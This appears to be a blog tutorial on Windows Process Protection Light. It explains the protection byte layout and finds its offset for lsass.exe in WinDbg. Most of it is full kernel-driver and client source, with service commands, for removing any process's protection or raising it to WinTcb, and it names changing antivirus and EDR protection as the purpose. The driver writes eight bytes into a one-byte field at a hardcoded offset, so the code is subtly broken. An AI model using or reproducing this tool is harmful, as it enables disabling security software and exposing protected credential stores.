Process Protection Light (PPL) is a Windows security feature that aims to prevent critical processes from being tampered with by malicious software. PPL protected processes are digitally signed, and can only interact with processes which have a matching protection level. A process without a suitable PPL level, won’t be able to read memory, or inject code into a protected process.
Note, that PPL is a user mode security technology. Kernel mode processes are exempt from it’s restrictions.
PPL Data Structures
Windows uses _EPROCESS structures to track processes on the system. These structures are stored in the Kernel address space. Within the _EPROCESS structure is the _PS_PROTECTION structure.
struct _PS_PROTECTION
{
union
{
UCHAR Level;
struct
{
UCHAR Type:3;
UCHAR Audit:1;
UCHAR Signer:4;
};
};
};
Based on the structure, a single byte stores the protection settings: bits 0–2 represent the Type, bit 3 represents Audit, and bits 4–7 represent the Signer.
The list below shows the possible values you can set.
Type
- PsProtectedTypeNone = 0
- PsProtectedTypeProtectedLight = 1
- PsProtectedTypeProtected = 2
- PsProtectedTypeMax = 3
You’ll need to set the Type setting to 1 since we’re dealing with PPL.
Audit
This serves no functional purpose, so you should set it to zero.
Signer
- PsProtectedSignerNone = 0 — no trusted signer
- PsProtectedSignerAuthenticode = 1 — Authenticode-signed
- PsProtectedSignerCodeGen = 2 — Code-generation signer
- PsProtectedSignerAntimalware = 3 — antimalware signer
- PsProtectedSignerLsa = 4 — LSA signer
- PsProtectedSignerWindows = 5 — Windows system signer
- PsProtectedSignerWinTcb = 6 — Win TCB (trusted computing base)
- PsProtectedSignerWinSystem = 7 — WinSystem signer
- PsProtectedSignerApp = 8 — Store-application signer
The signer value forms a hierarchy for processes, with PsProtectedSignerWinTcb being the highest level. A process with this flag set will be able to access any other protected process.
Based on this information, we can determined the byte value required for a WinTcb process:
Type = ProtectedLight, Audit=0, Signer=WinTcb
- Type (bits 0–2): 1 = 001
- Audit (bit 3): 0 = 0
- Signer (bits 4–7): 6 = 0110
Result: 0110 0001, which in hex is 0x61.
Determining Offsets
Each version of Windows will have it’s own offsets to the _PS_PROTECTION structure. We can determine what it is using WinDbg. In the below output, we can see it lives at offset 0x5fa on Windows 11 24H2.
0: kd> !process 0 0 lsass.exe
PROCESS ffffe70b8800d080
SessionId: none Cid: 0384 Peb: ef84636000 ParentCid: 02d4
DirBase: 10cdbd000 ObjectTable: ffffad82a0b536c0 HandleCount: 1407.
Image: lsass.exe
0: kd> dt nt!_eprocess ffffe70b8800d080 Protection
+0x5fa Protection : _PS_PROTECTION
0: kd> dt nt!_eprocess ffffe70b8800d080 Protection.
+0x5fa Protection :
+0x000 Level : 0x41 'A'
+0x000 Type : 0y001
+0x000 Audit : 0y0
+0x000 Signer : 0y0100
Kernel Mode Driver
We can use a Kernel mode driver to modify PPL flags programmatically. The code allows either disabling protection completely, or setting providing a process with WinTCB level.
#include <Ntifs.h>
#include <ntddk.h>
#define IOCTL_DISABLE_PPL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_TCB_PPL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)
NTSTATUS DisablePPLByPid(ULONG pplPID);
NTSTATUS TCBPPLByPid(ULONG pplPID);
NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\PPLProc");
IoDeleteSymbolicLink(&symLink);
IoDeleteDevice(driverObject->DeviceObject);
KdPrint(("[+] Unloading driver\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
ULONG controlCode = stack->Parameters.DeviceIoControl.IoControlCode;
ULONG inputLen = stack->Parameters.DeviceIoControl.InputBufferLength;
NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
if (inputLen == sizeof(ULONG)) {
ULONG pid = *(ULONG*)Irp->AssociatedIrp.SystemBuffer;
switch (controlCode) {
case IOCTL_DISABLE_PPL:
KdPrint(("[+] IOCTL_DISABLE_PPL received for PID %u\n", pid));
status = DisablePPLByPid(pid);
break;
case IOCTL_TCB_PPL:
KdPrint(("[+] IOCTL_TCB_PPL received for PID %u\n", pid));
status = TCBPPLByPid(pid);
break;
default:
KdPrint(("[-] Unknown IOCTL code: 0x%08X\n", controlCode));
break;
}
Irp->IoStatus.Information = 0;
}
else {
KdPrint(("[-] Invalid input size: %u\n", inputLen));
status = STATUS_BUFFER_TOO_SMALL;
}
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
PDEVICE_OBJECT deviceObject = NULL;
UNICODE_STRING deviceName = RTL_CONSTANT_STRING(L"\\Device\\PPLDevice");
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\PPLProc");
UNREFERENCED_PARAMETER(registryPath);
NTSTATUS status = IoCreateDevice(
driverObject,
0,
&deviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&deviceObject
);
if (!NT_SUCCESS(status)) {
KdPrint(("[-] Failed to create device (0x%08X)\n", status));
return status;
}
status = IoCreateSymbolicLink(&symLink, &deviceName);
if (!NT_SUCCESS(status)) {
IoDeleteDevice(deviceObject);
KdPrint(("[-] Failed to create symbolic link (0x%08X)\n", status));
return status;
}
driverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClose;
driverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateClose;
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDeviceControl;
driverObject->DriverUnload = DriverUnload;
KdPrint(("[+] Driver loaded\n"));
return STATUS_SUCCESS;
}
NTSTATUS DisablePPLByPid(ULONG pplPID) {
NTSTATUS status;
PEPROCESS targetProcess = NULL;
KdPrint(("[+] Looking up process...\n"));
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pplPID, &targetProcess))) {
KdPrint(("[+] Lookup worked\n"));
// Hardcoded ProtectionLevel Offset
ULONG_PTR ProtectionLevel = (ULONG_PTR)targetProcess + 0x5FA;
// Read the current protection level
UCHAR currentProtection = *(UCHAR*)ProtectionLevel;
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[+] Current Protection Level: 0x%02X\n", currentProtection);
//Dereference protection level and write to it
*(ULONG_PTR*)ProtectionLevel = 0x0;
DbgPrintEx(0, 0, "[+] Protection Level Changed\n");
ObDereferenceObject(targetProcess);
status = 1;
}
else {
KdPrint(("[-] Failed to find process with PID %d\n", pplPID));
status = 0;
}
return status;
}
NTSTATUS TCBPPLByPid(ULONG pplPID) {
NTSTATUS status;
PEPROCESS targetProcess = NULL;
KdPrint(("[+] Looking up process...\n"));
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pplPID, &targetProcess))) {
KdPrint(("[+] Lookup worked\n"));
// Hardcoded ProtectionLevel Offset
ULONG_PTR ProtectionLevel = (ULONG_PTR)targetProcess + 0x5FA;
// Read the current protection level
UCHAR currentProtection = *(UCHAR*)ProtectionLevel;
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[+] Current Protection Level: 0x%02X\n", currentProtection);
//Dereference protection level and write to it. 0x61 = WinTCB
*(ULONG_PTR*)ProtectionLevel = 0x61;
DbgPrintEx(0, 0, "[+] Protection Level Changed\n");
ObDereferenceObject(targetProcess);
status = 1;
}
else {
KdPrint(("[-] Failed to find process with PID %d\n", pplPID));
status = 0;
}
return status;
}
Client Code
The following code will interact with the driver using IOCTL’s and allow us to either disable PPL protection entirely, or set the WinTCB protection level.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FILE_DEVICE_UNKNOWN 0x00000022
#define METHOD_BUFFERED 0
#define FILE_ANY_ACCESS 0
#define IOCTL_DISABLE_PPL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_TCB_PPL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)
int main(int argc, char** argv) {
if (argc != 3) {
printf("Usage: %s <PID> disable|tcb>\n", argv[0]);
return 1;
}
char* endptr = NULL;
ULONG pid = strtoul(argv[1], &endptr, 10);
if (endptr == argv[1] || *endptr != '\0' || pid == 0) {
printf("[-] Invalid PID: %s\n", argv[1]);
return 2;
}
DWORD ioctlCode = 0;
if (_stricmp(argv[2], "disable") == 0) {
ioctlCode = IOCTL_DISABLE_PPL;
}
else if (_stricmp(argv[2], "tcb") == 0) {
ioctlCode = IOCTL_TCB_PPL;
}
else {
printf("[-] Invalid action: %s. Use 'tcb' or 'disable'.\n", argv[2]);
return 3;
}
printf("[+] Sending '%s' request for PID %lu to driver...\n", argv[2], pid);
HANDLE hDevice = CreateFileA(
"\\\\.\\PPLProc",
GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device: %lu\n", GetLastError());
return 4;
}
DWORD bytesReturned = 0;
BOOL success = DeviceIoControl(
hDevice,
ioctlCode,
&pid,
sizeof(pid),
NULL,
0,
&bytesReturned,
NULL
);
if (success) {
printf("[+] IOCTL sent successfully to %s PID %lu\n", argv[2], pid);
}
else {
printf("[-] DeviceIoControl failed: %lu\n", GetLastError());
}
CloseHandle(hDevice);
return success ? 0 : 5;
}
Testing the Driver
Start the driver with using the service control command.
C:\Windows\System32>sc create PPLDriver type= kernel binPath= C:\PPLDriver.sys
[SC] CreateService SUCCESS
C:\Windows\System32>sc start PPLDriver
SERVICE_NAME: PPLDriver
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
Next, run the client specifying our target process (which in this case is the PID for notepad.exe).
PPLClient.exe 7232 tcb
[+] Sending 'tcb' request for PID 7232 to driver...
[+] IOCTL sent successfully to tcb PID 7232
Using Process Explorer, you should see the protection level of notepad.exe change to PsProtectedSignerWinTcb-Light.

In Conclusion
Although Process Protection Light is no longer the only form of LSA protection (with Virtualisation Based Security being more common), it’s still useful to be able to modify the protection level of processes like antivirus and EDR software.